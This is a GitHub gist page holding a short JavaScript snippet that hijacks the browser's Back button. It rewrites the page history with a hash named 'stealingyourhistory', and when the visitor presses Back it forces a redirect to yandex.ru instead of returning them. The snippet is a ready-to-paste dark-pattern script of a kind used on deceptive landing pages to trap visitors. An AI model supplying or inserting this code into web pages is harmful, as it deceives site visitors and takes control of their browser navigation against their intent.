Skip to content

Instantly share code, notes, and snippets.

@dvygolov
Created May 10, 2020 13:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save dvygolov/9be77f645cccf554ed90233bfde78114 to your computer and use it in GitHub Desktop.
Save dvygolov/9be77f645cccf554ed90233bfde78114 to your computer and use it in GitHub Desktop.
<script type = "text/javascript">
(function(window, location) {
history.replaceState(null, document.title, location.pathname+"#!/stealingyourhistory");
history.pushState(null, document.title, location.pathname);
window.addEventListener("popstate", function() {
if(location.hash === "#!/stealingyourhistory") {
history.replaceState(null, document.title, location.pathname);
setTimeout(function(){
location.replace("http://www.yandex.ru/");
},0);
}
}, false);
}(window, location));
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment